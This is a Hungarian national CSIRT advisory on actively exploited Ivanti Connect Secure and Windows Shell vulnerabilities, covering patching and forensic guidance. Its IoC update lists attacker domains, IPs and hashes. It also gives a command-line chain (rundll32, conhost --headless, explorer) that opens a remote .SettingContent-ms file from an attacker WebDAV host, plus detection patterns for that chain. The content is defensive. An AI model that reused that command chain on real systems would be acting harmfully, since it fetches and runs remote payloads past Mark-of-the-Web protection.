Riasztás az Ivanti Connect Secure és a Microsoft Windows Shell sérülékenységeiről

Tisztelt Ügyfelünk!

A Nemzetbiztonsági Szakszolgálat Nemzeti Kiberbiztonsági Intézet riasztást ad ki az Ivanti Connect Secure terméket, valamint a Microsoft Windows Shell komponenst érintő sérülékenységek kapcsán, azok aktív kihasználása, valamint az érintett termékek széles körű használata miatt.

Az Ivanti 2026. október 13-án biztonsági közleményt adott ki a Connect Secure terméket érintő, CVE-2026-104935 azonosítójú, magas kockázatú sérülékenységről. A hiba spoofingon alapuló hitelesítésmegkerülést tesz lehetővé. A sérülékenység sikeres kihasználása esetén egy távoli, hitelesítéssel nem rendelkező támadó tetszőleges parancsokat hajthat végre az érintett rendszeren.

Az Ivanti Connect Secure 25.1.3.0, 25.1.3.1, 22.8R2.5 előtti verziók érintettek.
A gyártó tájékoztatása szerint a sérülékenység nem érinti az Ivanti Connect Secure 22.7R2.14 és korábbi verzióit. A 22.7 termékvonal támogatása 2027. január 31-én megszűnik, ezért az érintett szervezeteknek javasolt a 25.1 termékvonalra történő migráció megtervezése. A 22.8 termékvonal csak átmeneti megoldásként szolgál a 22.7 és a 25.1 közötti migráció során. Az Ivanti a 25.1.1.2 vagy újabb verzió használatát javasolja. Amennyiben a 25.1.1.2 verzióra történő frissítés azonnal nem hajtható végre, a 22.8R2.5 verzió telepíthető.

Az Ivanti megerősítette, hogy a sérülékenységet a közlemény kiadásakor már aktívan kihasználták, és a támadások korlátozott számú ügyfelet érintettek.

Kompromittálódás vizsgálata
A gyártói közlemény nem tartalmaz nyilvános IP-cím-, domain-, hash- vagy fájlnév-alapú IoC-listát. Ennek megfelelően javasolt:

- az Ivanti Integrity Checker Tool futtatása,
- az érintett eszközök konfigurációinak és naplóinak ellenőrzése,
- a szokatlan hitelesítések, konfigurációmódosítások és kimenő hálózati kapcsolatok vizsgálata,

NEMZETI KIBERBIZTONSÁGI INTÉZET
+36-1-336-4833 csirt@nki.gov.hu

- az érintett rendszerek hálózati és memóriakép-alapú forensic vizsgálata,
- a kapcsolódó infrastruktúra kompromittálódásának ellenőrzése.

Javasolt intézkedések

- az érintett rendszereken haladéktalanul telepíteni kell a gyártó által kiadott javított verziót,
- a frissítést minden érintett példányon, így a magas rendelkezésre állású telepítések valamennyi csomópontján végre kell hajtani,
- a javítás telepítését követően ellenőrizni kell a rendszer verzióját és integritását,
- a potenciálisan kompromittálódott rendszereken forensic vizsgálatot kell végezni,
- kompromittálódás gyanúja esetén meg kell őrizni a releváns naplókat és egyéb bizonyítékokat,
- igazolt kompromittálódás esetén az érintett eszközt izolálni kell, majd a gyártói ajánlásnak megfelelően tiszta állapotból történő helyreállítást kell végrehajtani,
- a rendszeren használt hitelesítő adatokat, kulcsokat és tanúsítványokat a kockázatértékelés alapján cserélni kell.

A Microsoft 2026. október 13-án biztonsági közleményt adott ki a Windows Shell komponenst érintő, CVE-2026-96951 azonosítójú, magas kockázatú, biztonsági funkció megkerülési sérülékenységről. A hiba a parancsban használt speciális elemek nem megfelelő semlegesítéséből ered. A sérülékenység sikeres kihasználása esetén egy jogosulatlan támadó hálózaton keresztül megkerülheti a Mark of the Web (MotW) védelmet.

A Microsoft tájékoztatása szerint e-mailes vagy azonnali üzenetküldési támadás során a támadó speciálisan kialakított fájlt küldhet a célzott felhasználónak. A támadónak nincs lehetősége arra, hogy a felhasználót közvetlenül a tartalom megtekintésére kényszerítse, ezért rá kell vennie a felhasználót a fájl megnyitására, egy hivatkozás követésére vagy más művelet végrehajtására. A Microsoft közleménye alapján a sérülékenységet aktívan kihasználják.

A sérülékenység az érintett, támogatott Windows kliens- és szerververziókat érinti. A pontos termék-, verzió- és frissítéslista a Microsoft Security Update Guide CVE-2026-96951 azonosítójú adatlapján található.

A Microsoft a közleményben nem tett közzé konkrét IP-címeket, domaineket, fájlhash-eket vagy fájlneveket. Javasolt ugyanakkor:

- az e-mail- és üzenetküldő rendszerekben a gyanús fájlok és hivatkozások vizsgálata,
- az EDR-rendszerekben a letöltött fájlok megnyitását követő szokatlan folyamatláncok keresése,
- a Windows Shell, illetve az Explorer által indított szokatlan parancssori és szkriptfolyamatok ellenőrzése,
- a MotW-jelölés nélküli, külső forrásból származó fájlok vizsgálata,
- a gyanús eseményekhez kapcsolódó felhasználói, levelezési, proxy- és végponti naplók megőrzése.

Javasolt intézkedések

- az érintett Windows rendszereken haladéktalanul telepíteni kell a Microsoft által kiadott biztonsági frissítéseket,
- a frissítést a támogatott kliens- és szerverrendszereken egyaránt telepíteni kell,
- a frissítés telepítését központi frissítéskezelő rendszerben és a tényleges rendszerverzió ellenőrzésével is validálni kell,
- fokozottan ellenőrizni kell az e-mailben és azonnali üzenetben érkező, ismeretlen eredetű fájlokat és hivatkozásokat,
- az érintett fájlokat megnyitás előtt sandbox vagy automatizált malware-vizsgálat alá kell vetni,
- a felhasználókat tájékoztatni kell arról, hogy az ismeretlen forrásból származó fájlokat és hivatkozásokat ne nyissák meg,
- kompromittálódás gyanúja esetén az érintett végpontot izolálni kell, a releváns bizonyítékokat meg kell őrizni, és incidenskezelési eljárást indítani.

Partner szevezettől érkezett információ alapján 2026.10.15-én kapcsolódó IoC-kkel frissítve:

+36-1-336-4833 csirt@nki.gov.hu

- **FILE IOCs**

  FILE_NAME:PDF Phishing[.]zip
  FILE_NAME:Conference Notice[.]zip
  FILE_NAME:NOTICE_OF_MEETING_20_Sep_2026.pdf[.].SettingContent-ms
  FILE_NAME:DCN-295041-210162026190[.]pdf
  FILE_NAME:T3nwnHog1[.]SettingContent-ms
  FILE_EXTENSION:.SettingContent-ms
  FILE_PATH:%SystemRoot%\ServiceProfiles\LocalService\AppData\Local\Temp\TfsStore\Tfs_DAV\

  SHA256 hash:
  7652186493b52ce42aacc57c9864925935a73aea07938fd7351e23d10a9307cb
  SHA1 hash: 23723f86c8036c076418601fad9af5b1ba6c2908
  MD5 hash: 91d9030688467775026dc84d51d13966

- **REGISTRY IOCs**

  REGISTRY_KEY:HKCR\SettingContent
  REGISTRY_VALUE:HKCR\SettingContent\NeverShowExt

- **NETWORK IOCs**

  DOMAIN:docs[.]google[.]com/a/hogtoday[.]com
  DOMAIN:www[.]hogtoday[.]com
  DOMAIN:www[.]jewelfortune[.]com
  DOMAIN:www[.]lifeinstars[.]com

  IPV4:66[.]42[.]56[.]151
  IPV4:45[.]32[.]103[.]109
  IPV4:139[.]180[.]185[.]90

  URL:\www[.]hogtoday[.]com@SSL\o6IkascB\T3nwnHog0\T3nwnHog1[.]SettingContent-ms

  NETWORK_PROTOCOL:WebDAV over HTTPS
  NETWORK_PROTOCOL:TCP/443
  HTTP_METHOD:PROPFIND
  HTTP_METHOD:GET
  USER_AGENT:Microsoft-WebDAV-MiniRedir

- **COMMAND-LINE IOCs**

  COMMAND_LINE:rundll32 url.dll,FileProtocolHandler ...;conhost.exe --headless explorer[.]exe \www.hogtoday[.]com@SSL\o6IkascB\T3nwnHog0\T3nwnHog1.SettingContent-ms

  COMMAND_LINE_PATTERN:wt.exe AND rundll32.exe AND conhost.exe --headless AND explorer.exe AND @SSL
  COMMAND_LINE_PATTERN:conhost.exe --headless explorer.exe *@SSL*
  COMMAND_LINE_PATTERN:rundll32 url.dll,FileProtocolHandler *;conhost.exe --headless*

A legfrissebb információkért kérjük ügyfeleinket, hogy folyamatosan kövessék a Nemzeti Kiberbiztonsági Intézet weboldalát.